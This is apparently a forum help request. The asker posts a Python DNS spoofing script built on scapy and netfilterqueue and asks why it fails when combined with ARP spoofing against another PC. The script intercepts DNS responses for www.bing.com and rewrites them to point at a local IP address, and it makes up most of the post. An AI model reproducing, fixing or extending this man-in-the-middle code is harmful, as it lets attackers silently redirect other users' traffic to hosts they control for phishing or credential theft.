Answer the question
In order to leave comments, you need to log in
Why is DNS spoofer not working?
The error is that if I use the script on my PC it works, but
when I try to use it with ARP Spoofer on another PC, then for some reason the packet I receive is missing the DNS level
Please help if anyone knows how to do this to correct!
#!/usr/bin/env python
import scapy.all as scapy
import netfilterqueue
def process_pack(packet):
scapy_pack = scapy.IP(packet.get_payload())
if scapy_pack.haslayer(scapy.DNSRR):
print(scapy_pack.show())
qname = scapy_pack[scapy.DNSQR].qname
print(str(qname))
if "www.bing.com" in qname:
print("[+] Spoofing target, url >> " + qname)
scapy_pack[scapy.DNS].ancount = 1
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.91")
scapy_pack[scapy.DNS].an = answer
del scapy_pack[scapy.IP].len
del scapy_pack[scapy.IP].chksum
del scapy_pack[scapy.UDP].chksum
del scapy_pack[scapy.UDP].len
packet.set_payload(str(scapy_pack))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_pack)
queue.run()
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question